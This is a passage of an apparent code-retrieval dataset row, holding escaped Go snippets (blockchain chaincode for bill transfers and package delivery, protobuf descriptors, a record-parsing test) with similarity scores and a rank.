arguments\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar record_specification map[string]interface{}\\r\\n\\r\\n\\terr := json.Unmarshal([]byte(args[0]), &record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of record\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of record\\\")\\r\\n\\t}\\r\\n\\r\\n\\tif len(record_specification) != 1 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Input should contain only one status\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Input should contain only one status\\\")\\r\\n\\t}\\r\\n\\r\\n\\tif len(args) < 2 {\\r\\n\\r\\n\\t\\tpageno = 1\\r\\n\\r\\n\\t} else {\\r\\n\\r\\n\\t\\tpageno, err = strconv.Atoi(args[1])\\r\\n\\r\\n\\t\\tif err != nil {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error parsing page number \\\" + err.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error parsing page number \\\" + err.Error())\\r\\n\\r\\n\\t\\t} else if pageno < 1 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Invalid page number\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Invalid page number\\\")\\r\\n\\t\\t}\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tadditional_json, ok := map_specification[\\\"additional_json\\\"]\\r\\n\\r\\n\\tvar additional_json_data map[string]interface{}\\r\\n\\r\\n\\tif ok {\\r\\n\\r\\n\\t\\tvar ok1 bool\\r\\n\\r\\n\\t\\tadditional_json_data, ok1 = additional_json.(map[string]interface{})\\r\\n\\r\\n\\t\\tif !ok1 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tvar keys_map interface{}\\r\\n\\r\\n\\tvar specs map[string]interface{}\\r\\n\\r\\n\\tkeys_map, error_keys_map := t.get_keys_map(stub, additional_json_data)\\r\\n\\r\\n\\tif error_keys_map != nil {\\r\\n\\r\\n\\t\\tfmt.Println(error_keys_map.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(error_keys_map.Error())\\r\\n\\t}\\r\\n\\r\\n\\tspecs, ok = keys_map.(map[string]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Invalid keys map specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Invalid keys map specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar composite_key = make(map[string]interface{})\\r\\n\\r\\n\\tfor spec, _ := range record_specification {\\r\\n\\r\\n\\t\\tcomposite_key[spec], ok = specs[spec]\\r\\n\\r\\n\\t\\tif !ok {\\r\\n\\t\\t\\tfmt.Println(\\\"Composite key specification missing\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Composite key specification missing\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tfor spec, _ := range additional_json_data {\\r\\n\\r\\n\\t\\trecord_specification[spec] = additional_json_data[spec]\\r\\n\\t}\\r\\n\\r\\n\\t//compositekeyJsonString, err_marshal := json.Marshal(composite_key)\\r\\n\\r\\n\\t//if (err_marshal != nil) {\\r\\n\\r\\n\\t//\\tfmt.Println(\\\"Error in marshaling composite key\\\")\\r\\n\\r\\n\\t//\\treturn shim.Error(\\\"Error in marshaling composite key\\\")\\r\\n\\t//}\\r\\n\\r\\n\\t//var concatenated_record_json []byte\\r\\n\\r\\n\\t//concatenated_record_json, err_marshal = json.Marshal(record_specification)\\r\\n\\r\\n\\t//if(err_marshal != nil) {\\r\\n\\r\\n\\t//\\tfmt.Println(\\\"Unable to Marshal Concatenated Record to JSON\\\")\\r\\n\\r\\n\\t//\\treturn shim.Error(\\\"Unable to Marshal Concatenated Record to JSON\\\")\\r\\n\\t//}\\r\\n\\r\\n\\t//arguments = append(arguments, string(concatenated_record_json))\\r\\n\\r\\n\\t//arguments = append(arguments, string(compositekeyJsonString))\\r\\n\\r\\n\\t//return t.query_by_composite_key(stub, arguments, pageno)\\r\\n\\r\\n\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\treturn t.query_by_composite_key(stub, record_specification, composite_key, pageno)\\r\\n\\r\\n}\",\n \"func (t *myChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\\n switch function {\\n\\n case \\\"create\\\":\\n if len(args) < 4{\\n return nil, errors.New(\\\"create operation must include at last four arguments, a uuid , a from , a to and timestamp\\\")\\n }\\n // get the args\\n uuid := args[0]\\n fromid := args[1]\\n toid := args[2]\\n timestamp := args[3]\\n metadata := args[4]\\n history := fromid\\n owner := fromid\\n status := \\\"0\\\"\\n createtm := timestamp\\n submittm := \\\"0\\\"\\n confirmtm := \\\"0\\\"\\n\\n //TODO: need some check for fromid and data\\n //check fromid and toid\\n if fromid == toid {\\n return nil, errors.New(\\\"create operation failed, fromid is same with toid\\\")\\n }\\n //do some check for the timestamp\\n ts := time.Now().Unix() \\n tm, err := strconv.ParseInt(timestamp, 10, 64) \\n if err != nil {\\n return nil, fmt.Errorf(\\\"bad format of the timestamp\\\")\\n }\\n if tm - ts > 3600 || ts - tm > 3600 {\\n return nil, fmt.Errorf(\\\"the timestamp is bad one !\\\")\\n }\\n\\n \\n //check for existence of the bill\\n oldvalue, err := stub.GetState(uuid)\\n if err != nil {\\n return nil, fmt.Errorf(\\\"create operation failed. Error accessing state(check the existence of bill): %s\\\", err)\\n }\\n if oldvalue != nil {\\n return nil, fmt.Errorf(\\\"existed bill!\\\")\\n } \\n\\n key := uuid\\n value := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\\n fmt.Printf(\\\"value is %s\\\", value)\\n\\n err = stub.PutState(key, []byte(value))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"create operation failed. Error updating state: %s\\\", err)\\n }\\n //store the metadata\\n key = uuid + sp + \\\"md\\\"\\n value = metadata\\n fmt.Printf(\\\"value is %s\\\", value)\\n\\n err = stub.PutState(key, []byte(value))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"store the metadat operation failed. Error updating state: %s\\\", err)\\n }\\n\\n //store the from and to \\n key = fromid + sp + timestamp + sp + uuid\\n err = stub.PutState(key, []byte(timestamp))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state for fromid : %s\\\", err)\\n }\\n key = toid + sp + timestamp + sp + uuid\\n err = stub.PutState(key, []byte(timestamp))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state for toid : %s\\\", err)\\n }\\n return nil,nil\\n\\n case \\\"transfer\\\":\\n if len(args) < 4{\\n return nil, errors.New(\\\"transfer operation must include at last there arguments, a uuid , a owner , a toid and timestamp\\\")\\n }\\n //get the args\\n key := args[0]\\n uuid := key\\n _owner := args[1]\\n _toid := args[2]\\n timestamp := args[3]\\n\\n\\n //get the info of uuid\\n value, err := stub.GetState(key)\\n if err != nil {\\n return nil, fmt.Errorf(\\\"get operation failed. Error accessing state: %s\\\", err)\\n }\\n if value == nil {\\n return nil, fmt.Errorf(\\\"this bill does not exist\\\")\\n }\\n listValue := strings.Split(string(value), sp)\\n fromid := listValue[0]\\n toid := listValue[1]\\n history := listValue[2]\\n owner := listValue[3]\\n status := listValue[4]\\n createtm := listValue[5]\\n submittm := listValue[6]\\n confirmtm := listValue[7]\\n \\n //ToDo: some check for the owner?\\n // if the person don't own it, he can transfer this bill\\n if _owner != owner {\\n return []byte(\\\"don't have the right to transfer the bill\\\"), errors.New(\\\"don't have the right to transfer\\\")\\n //return nil, errors.New(\\\"don't have the right to transfer\\\")\\n }\\n //if the owner is toid, it cann't be transfer any more\\n if owner == toid {\\n return []byte(\\\"cann't transfer bill now\\\"), errors.New(\\\"cann't transfer this bill now\\\") \\n }\\n if status == \\\"2\\\" {\\n return []byte(\\\"this bill has been submited adn you can't transfer it any more!\\\"), errors.New(\\\"this bill has been submited adn you can't transfer it any more!\\\")\\n }\\n if status == \\\"3\\\" {\\n return []byte(\\\"this bill has been reimbursed!\\\"), errors.New(\\\"this bill has been reimbursed!\\\")\\n }\\n if status == \\\"0\\\"{\\n status = \\\"1\\\"\\n }\\n\\n //do some check for the timestamp\\n ts := time.Now().Unix() \\n tm, err := strconv.ParseInt(timestamp, 10, 64) \\n if err != nil {\\n return nil, fmt.Errorf(\\\"bad format of the timestamp\\\")\\n }\\n if tm - ts > 3600 || ts - tm > 3600 {\\n return nil, fmt.Errorf(\\\"the timestamp is bad one !\\\")\\n }\\n\\n history = history + \\\",\\\" + _toid\\n owner = _toid\\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\\n fmt.Printf(\\\"the old value is: %s\\\", value)\\n fmt.Printf(\\\"the new value is: %s\\\", newvalue)\\n err = stub.PutState(key, []byte(newvalue))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"transfer operation failed. Error updating state: %s\\\", err)\\n }\\n //ToDo: some check for the state of puting \\n // add two sp have no reasons:)\\n key = owner + sp + sp + uuid\\n err = stub.PutState(key, []byte(timestamp))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state for owner : %s\\\", err)\\n }\\n return nil, nil\\n\\n case \\\"submit\\\":\\n if len(args) < 4{\\n return nil, errors.New(\\\"submit operation must include at last three arguments, a uuid, a owner , timestamp and data for reimbursement\\\")\\n }\\n //get the args\\n key := args[0]\\n uuid := key \\n _owner := args[1]\\n timestamp := args[2]\\n data := args[3]\\n\\n //do some check for the timestamp\\n ts := time.Now().Unix() \\n tm, err := strconv.ParseInt(timestamp, 10, 64) \\n if err != nil {\\n return nil, fmt.Errorf(\\\"bad format of the timestamp\\\")\\n }\\n if tm - ts > 3600 || ts - tm > 3600 {\\n return nil, fmt.Errorf(\\\"the timestamp is bad one !\\\")\\n }\\n\\n //get the info of uuid\\n value, err := stub.GetState(key)\\n if err != nil {\\n return nil, fmt.Errorf(\\\"get operation failed. Error accessing state: %s\\\", err)\\n }\\n if value == nil {\\n return nil, fmt.Errorf(\\\"this bill does not exist\\\")\\n }\\n listValue := strings.Split(string(value), sp)\\n fromid := listValue[0]\\n toid := listValue[1]\\n history := listValue[2]\\n owner := listValue[3]\\n status := listValue[4]\\n createtm := listValue[5]\\n //update the submittm\\n submittm := timestamp\\n confirmtm := listValue[7]\\n\\n // if the person don't own it, he can transfer this bill\\n if _owner != owner {\\n return []byte(\\\"don't have the right to submit the bill\\\"), errors.New(\\\"don't have the right to submit\\\")\\n //return nil, errors.New(\\\"don't have the right to transfer\\\")\\n }\\n if status == \\\"2\\\" {\\n return []byte(\\\"this bill has been submited adn you can't transfer it any more!\\\"), errors.New(\\\"this bill has been submited adn you can't transfer it any more!\\\")\\n }\\n if status == \\\"3\\\" {\\n return []byte(\\\"this bill has been reimbursed!\\\"), errors.New(\\\"this bill has been reimbursed!\\\")\\n }\\n if status == \\\"1\\\" || status == \\\"0\\\" {\\n status = \\\"2\\\"\\n }\\n\\n //update the uuid info\\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\\n fmt.Printf(\\\"the old value is: %s\\\", value)\\n fmt.Printf(\\\"the new value is: %s\\\", newvalue)\\n err = stub.PutState(key, []byte(newvalue))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"submit operation failed. Error updating state: %s\\\", err)\\n }\\n\\n //store the info of reimbursement\\n key = uuid + sp + \\\"bx\\\"\\n fmt.Printf(\\\"the info of reimbursement is %s\\\", data)\\n err = stub.PutState(key, []byte(data))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"submit operation failed. Error updating state: %s\\\", err)\\n }\\n return nil, nil\\n\\n case \\\"confirm\\\":\\n if len(args) < 3 {\\n return nil, errors.New(\\\"confirm operation must include at last there arguments, a uuid , a toid and timestamp\\\")\\n }\\n //get the args\\n key := args[0]\\n _toid := args[1]\\n timestamp := args[2]\\n\\n //do some check for the timestamp\\n ts := time.Now().Unix() \\n tm, err := strconv.ParseInt(timestamp, 10, 64) \\n if err != nil {\\n return nil, fmt.Errorf(\\\"bad format of the timestamp\\\")\\n }\\n if tm - ts > 3600 || ts - tm > 3600 {\\n return nil, fmt.Errorf(\\\"the timestamp is bad one !\\\")\\n }\\n\\n //get the info of uuid\\n value, err := stub.GetState(key)\\n if err != nil {\\n return nil, fmt.Errorf(\\\"get operation failed. Error accessing state: %s\\\", err)\\n }\\n if value == nil {\\n return nil, fmt.Errorf(\\\"this bill does not exist\\\")\\n }\\n listValue := strings.Split(string(value), sp)\\n fromid := listValue[0]\\n toid := listValue[1]\\n //update the history\\n history := listValue[2] + \\\",\\\" + toid\\n //update the owner\\n owner := toid\\n status := listValue[4]\\n createtm := listValue[5]\\n submittm := listValue[6]\\n //update the confirmtm\\n confirmtm := timestamp\\n\\n // if the person is not the toid\\n if _toid != toid {\\n return []byte(\\\"don't have the right to confirm the bill\\\"), errors.New(\\\"don't have the right to confirm\\\")\\n //return nil, errors.New(\\\"don't have the right to transfer\\\")\\n }\\n if status == \\\"1\\\" || status == \\\"0\\\" {\\n return []byte(\\\"this bill has not been submited \\\"), errors.New(\\\"this bill has not been submited\\\")\\n }\\n if status == \\\"3\\\" {\\n return []byte(\\\"this bill has been reimbursed!\\\"), errors.New(\\\"this bill has been reimbursed!\\\")\\n }\\n if status == \\\"2\\\" {\\n status = \\\"3\\\"\\n }\\n\\n //update the uuid info\\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\\n fmt.Printf(\\\"the old value is: %s\\\", value)\\n fmt.Printf(\\\"the new value is: %s\\\", newvalue)\\n err = stub.PutState(key, []byte(newvalue))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"confirm operation failed. Error updating state: %s\\\", err)\\n }\\n return nil, nil\\n\\n case \\\"reject\\\":\\n if len(args) < 4 {\\n return nil, errors.New(\\\"reject operation must include at last four arguments, a uuid , a toid , a reason and timestamp\\\")\\n }\\n //get the args\\n key := args[0]\\n uuid := key \\n _toid := args[1]\\n reason := args[2]\\n timestamp := args[3]\\n\\n //do some check for the timestamp\\n ts := time.Now().Unix() \\n tm, err := strconv.ParseInt(timestamp, 10, 64) \\n if err != nil {\\n return nil, fmt.Errorf(\\\"bad format of the timestamp\\\")\\n }\\n if tm - ts > 3600 || ts - tm > 3600 {\\n return nil, fmt.Errorf(\\\"the timestamp is bad one !\\\")\\n }\\n\\n //get the info of uuid\\n value, err := stub.GetState(key)\\n if err != nil {\\n return nil, fmt.Errorf(\\\"get operation failed. Error accessing state: %s\\\", err)\\n }\\n if value == nil {\\n return nil, fmt.Errorf(\\\"this bill does not exist\\\")\\n }\\n listValue := strings.Split(string(value), sp)\\n fromid := listValue[0]\\n toid := listValue[1]\\n history := listValue[2]\\n owner := listValue[3]\\n status := listValue[4]\\n createtm := listValue[5]\\n submittm := listValue[6]\\n confirmtm := timestamp\\n\\n // if the person is not the toid\\n if _toid != toid {\\n return []byte(\\\"don't have the right to reject the bill\\\"), errors.New(\\\"don't have the right to reject\\\")\\n //return nil, errors.New(\\\"don't have the right to transfer\\\")\\n }\\n if status == \\\"1\\\" || status == \\\"0\\\" {\\n return []byte(\\\"this bill has not been submited \\\"), errors.New(\\\"this bill has not been submited \\\")\\n }\\n if status == \\\"3\\\" {\\n return []byte(\\\"this bill has been reimbursed!\\\"), errors.New(\\\"this bill has been reimbursed!\\\")\\n }\\n if status == \\\"2\\\" {\\n status = \\\"1\\\"\\n }\\n\\n //update the uuid info\\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\\n fmt.Printf(\\\"the old value is: %s\\\", value)\\n fmt.Printf(\\\"the new value is: %s\\\", newvalue)\\n err = stub.PutState(key, []byte(newvalue))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"reject operation failed. Error updating state: %s\\\", err)\\n }\\n\\n //update the reason for unconfirmtion\\n key = uuid + sp + \\\"bx\\\"\\n err = stub.PutState(key, []byte(reason))\\n if err != nil {\\n fmt.Printf(\\\"Error putting state %s\\\", err)\\n return nil, fmt.Errorf(\\\"reject operation failed. Error updating state: %s\\\", err)\\n }\\n return nil, nil\\n\\n default:\\n return nil, errors.New(\\\"Unsupported operation\\\")\\n }\\n}\",\n \"func (*OracleSpecResponse) Descriptor() ([]byte, []int) {\\n\\treturn file_api_trading_proto_rawDescGZIP(), []int{145}\\n}\",\n \"func (_BaseContent *BaseContentCaller) StatusCodeDescription(opts *bind.CallOpts, status_code *big.Int) ([32]byte, error) {\\n\\tvar out []interface{}\\n\\terr := _BaseContent.contract.Call(opts, &out, \\\"statusCodeDescription\\\", status_code)\\n\\n\\tif err != nil {\\n\\t\\treturn *new([32]byte), err\\n\\t}\\n\\n\\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\\n\\n\\treturn out0, err\\n\\n}\",\n \"func (*CodeRequest) Descriptor() ([]byte, []int) {\\n\\treturn file_helloworld_helloworld_proto_rawDescGZIP(), []int{1}\\n}\",\n \"func (rv *ReturnValue) Inspect() string { return rv.Value.Inspect() }\",\n \"func (o *UpdateOrganizationInvitationOK) Code() int {\\n\\treturn 200\\n}\",\n \"func (*MarkedString_CodeBlock) Descriptor() ([]byte, []int) {\\n\\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{113, 0}\\n}\",\n \"func (*PrepareRenameResponse_Result) Descriptor() ([]byte, []int) {\\n\\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{44, 0}\\n}\",\n \"func (c Code) String() string {\\n\\tswitch c {\\n\\tcase Resident:\\n\\t\\treturn \\\"RESIDENT\\\"\\n\\tcase Nonresident:\\n\\t\\treturn \\\"NONRESIDENT\\\"\\n\\tdefault:\\n\\t\\treturn \\\"UNKNOWN\\\"\\n\\t}\\n}\",\n \"func (t *SimpleChaincode) deliverpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\\nfmt.Println(\\\"running deliverpkg()\\\")\\nvar key , jsonResp string\\nvar err error\\n\\nif len(args) != 2 {\\n\\tjsonResp = \\\" Error : Incorrect number of arguments. Expecting 2 : PkgId and Provider \\\"\\n \\treturn nil, errors.New(jsonResp)\\n }\\n\\n key = args[0]\\n var packageinfo PackageInfo\\n\\n valAsbytes, err := stub.GetState(key)\\n\\n if err != nil {\\n jsonResp = \\\"Error : Failed to get state for \\\" + key\\n return nil, errors.New(jsonResp)\\n }\\n\\n err = json.Unmarshal(valAsbytes, &packageinfo)\\n if err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\n// validate pkd exist or not by checking temprature\\n if packageinfo.PkgId != key{\\n jsonResp = \\\"Error: Invalid PackageId Passed \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n // check wheather the pkg temprature is in acceptable range and package in in valid status\\n if packageinfo.PkgStatus == \\\"Pkg_Damaged\\\" { // Pkg_Damaged\\n\\t jsonResp = \\\" Error: Temprature thershold crossed - Package Damaged\\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n\\tif packageinfo.PkgStatus == \\\"Pkg_Delivered\\\" { // Pkg_Damaged\\n\\t jsonResp = \\\" Error: Package Already Delivered\\\"\\n\\t return nil, errors.New(jsonResp)\\n\\t }\\n\\n // check wheather the pkg Provider is same as input value\\nif packageinfo.Provider != args[1] {\\n\\t jsonResp = \\\" Error :Wrong Pkg Provider passrd - Not authorized to deliver this Package\\\"\\n\\t return nil, errors.New(jsonResp)\\n\\t }\\n\\n// packageinfo.Owner = args[1]\\n packageinfo.PkgStatus = \\\"Pkg_Delivered\\\"\\n\\n bytes, err := json.Marshal(&packageinfo)\\n if err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\n err = stub.PutState(key, bytes)\\n if err != nil {\\n return nil, err\\n }\\n\\n return nil, nil\\n}\",\n \"func rcExString(p *TCompiler, code *TCode) (*value.Value, error) {\\n\\tp.regSet(code.A, p.runExString(p.Consts.Get(code.B).ToString()))\\n\\tp.moveNext()\\n\\treturn nil, nil\\n}\",\n \"func (s FulfillmentUpdateResponseSpecification) GoString() string {\\n\\treturn s.String()\\n}\",\n \"func TestParseReturnDetailAddendumC(t *testing.T) {\\n\\tvar line = \\\"3411A 00340 RD Addendum C \\\"\\n\\tr := NewReader(strings.NewReader(line))\\n\\tr.line = line\\n\\tclh := mockCashLetterHeader()\\n\\tr.addCurrentCashLetter(NewCashLetter(clh))\\n\\tbh := mockBundleHeader()\\n\\trb := NewBundle(bh)\\n\\tr.currentCashLetter.AddBundle(rb)\\n\\tr.addCurrentBundle(rb)\\n\\tcd := mockReturnDetail()\\n\\tr.currentCashLetter.currentBundle.AddReturnDetail(cd)\\n\\n\\trequire.NoError(t, r.parseReturnDetailAddendumC())\\n\\trecord := r.currentCashLetter.currentBundle.GetReturns()[0].ReturnDetailAddendumC[0]\\n\\trequire.Equal(t, \\\"34\\\", record.recordType)\\n\\trequire.Equal(t, \\\"1\\\", record.ImageReferenceKeyIndicatorField())\\n\\trequire.Equal(t, \\\"1A \\\", record.MicrofilmArchiveSequenceNumberField())\\n\\trequire.Equal(t, \\\"0034\\\", record.LengthImageReferenceKeyField())\\n\\trequire.Equal(t, \\\"0 \\\", record.ImageReferenceKeyField())\\n\\trequire.Equal(t, \\\"RD Addendum C \\\", record.DescriptionField())\\n\\trequire.Equal(t, \\\" \\\", record.UserFieldField())\\n\\trequire.Equal(t, \\\" \\\", record.reservedField())\\n}\",\n \"func (o RestrictionResponseOutput) ReasonCode() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v RestrictionResponse) *string { return v.ReasonCode }).(pulumi.StringPtrOutput)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.546622","0.49766302","0.49018514","0.4870129","0.48345646","0.47983706","0.4782532","0.47615993","0.4711266","0.47010347","0.4695958","0.46885386","0.46700853","0.4660949","0.46572307","0.46350378","0.46284047","0.46268025","0.4622207","0.46218666","0.46100235","0.46087474","0.4607313","0.46060303","0.46058902","0.46005684","0.45957315","0.4594292","0.45925185","0.45920223","0.45906362","0.45886034","0.45861757","0.4579032","0.4570687","0.45561948","0.45529714","0.45410687","0.4536205","0.45191061","0.45161235","0.4511616","0.450357","0.45034027","0.45019153","0.44966653","0.4493286","0.4487539","0.44852683","0.44827095","0.44786888","0.4474402","0.44698894","0.4468363","0.4460118","0.44565925","0.44541344","0.4442446","0.44420943","0.44389862","0.44386315","0.4438177","0.44324204","0.44242066","0.44206738","0.4417364","0.44131368","0.44101134","0.44062817","0.44032168","0.44031447","0.44016328","0.44005647","0.44001442","0.4399757","0.43988135","0.43872604","0.4382249","0.43819997","0.4375769","0.43637213","0.43586212","0.4352281","0.4352078","0.43519127","0.4350469","0.4349427","0.43491283","0.43477038","0.43461353","0.4341796","0.43387347","0.43348658","0.43288624","0.43174648","0.4314333","0.431226","0.43065426","0.430229","0.42978927"],"string":"[\n \"0.546622\",\n \"0.49766302\",\n \"0.49018514\",\n \"0.4870129\",\n \"0.48345646\",\n \"0.47983706\",\n \"0.4782532\",\n \"0.47615993\",\n \"0.4711266\",\n \"0.47010347\",\n \"0.4695958\",\n \"0.46885386\",\n \"0.46700853\",\n \"0.4660949\",\n \"0.46572307\",\n \"0.46350378\",\n \"0.46284047\",\n \"0.46268025\",\n \"0.4622207\",\n \"0.46218666\",\n \"0.46100235\",\n \"0.46087474\",\n \"0.4607313\",\n \"0.46060303\",\n \"0.46058902\",\n \"0.46005684\",\n \"0.45957315\",\n \"0.4594292\",\n \"0.45925185\",\n \"0.45920223\",\n \"0.45906362\",\n \"0.45886034\",\n \"0.45861757\",\n \"0.4579032\",\n \"0.4570687\",\n \"0.45561948\",\n \"0.45529714\",\n \"0.45410687\",\n \"0.4536205\",\n \"0.45191061\",\n \"0.45161235\",\n \"0.4511616\",\n \"0.450357\",\n \"0.45034027\",\n \"0.45019153\",\n \"0.44966653\",\n \"0.4493286\",\n \"0.4487539\",\n \"0.44852683\",\n \"0.44827095\",\n \"0.44786888\",\n \"0.4474402\",\n \"0.44698894\",\n \"0.4468363\",\n \"0.4460118\",\n \"0.44565925\",\n \"0.44541344\",\n \"0.4442446\",\n \"0.44420943\",\n \"0.44389862\",\n \"0.44386315\",\n \"0.4438177\",\n \"0.44324204\",\n \"0.44242066\",\n \"0.44206738\",\n \"0.4417364\",\n \"0.44131368\",\n \"0.44101134\",\n \"0.44062817\",\n \"0.44032168\",\n \"0.44031447\",\n \"0.44016328\",\n \"0.44005647\",\n \"0.44001442\",\n \"0.4399757\",\n \"0.43988135\",\n \"0.43872604\",\n \"0.4382249\",\n \"0.43819997\",\n \"0.4375769\",\n \"0.43637213\",\n \"0.43586212\",\n \"0.4352281\",\n \"0.4352078\",\n \"0.43519127\",\n \"0.4350469\",\n \"0.4349427\",\n \"0.43491283\",\n \"0.43477038\",\n \"0.43461353\",\n \"0.4341796\",\n \"0.43387347\",\n \"0.43348658\",\n \"0.43288624\",\n \"0.43174648\",\n \"0.4314333\",\n \"0.431226\",\n \"0.43065426\",\n \"0.430229\",\n \"0.42978927\"\n]"},"document_score":{"kind":"string","value":"0.69362366"},"document_rank":{"kind":"string","value":"0"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":1061,"numItemsPerPage":100,"numTotalItems":107511,"offset":106100,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1NzQ5NDE2Mywic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1nby12MSIsImV4cCI6MTc1NzQ5Nzc2MywiaXNzIjoiaHR0cHM6Ly9odWdnaW5nZmFjZS5jbyJ9.Hvpy5gRjaXLftgMYWDg-pecFELEeru2MzH6FXa0c1xJ9q82xwMbL1Bw1WXle3MZo7vhDbrQzJ7Gh7s399VN1Bg","displayUrls":true},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query
stringlengths
7
3.85k
document
stringlengths
11
430k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
WaitScala indicates an expected call of WaitScala
func (mr *MockmonitorInterfaceMockRecorder) WaitScala(name interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "WaitScala", reflect.TypeOf((*MockmonitorInterface)(nil).WaitScala), name) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func wait() {\n\twaitImpl()\n}", "func wait(_ time.Time, waitingMessage string) error {\n\tlog.Info(waitingMessage)\n\ttime.Sleep(waitSleep)\n\treturn nil\n}", "func TestWait(t *testing.T) {\n\tdefer check(t)\n\tcontent := \"hello world!\"\n\treq := &showcasepb.WaitRequest{\n\t\tEnd: &showcasepb.WaitRequest_Ttl{\n\t\t\tTtl: &durationpb.Duration{Nanos: 100},\n\t\t},\n\t\tResponse: &showcasepb.WaitRequest_Success{\n\t\t\tSuccess: &showcasepb.WaitResponse{Content: content},\n\t\t},\n\t}\n\top, err := echo.Wait(context.Background(), req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresp, err := op.Wait(context.Background())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif resp.GetContent() != content {\n\t\tt.Errorf(\"Wait() = %q, want %q\", resp.GetContent(), content)\n\t}\n}", "func wait(c client.Client, watchNamespace, condType string, expectedStatus meta.ConditionStatus) error {\n\terr := kubeWait.Poll(retry.Interval, retry.ResourceChangeTimeout, func() (bool, error) {\n\t\topCond, err := get(c, watchNamespace)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\treturn Validate(opCond.Status.Conditions, condType, expectedStatus), nil\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to verify condition type %s has status %s: %w\", condType, expectedStatus, err)\n\t}\n\treturn nil\n}", "func wait(s *suite.Suite, data *runData, expectedExitStatus int) {\n\terr := 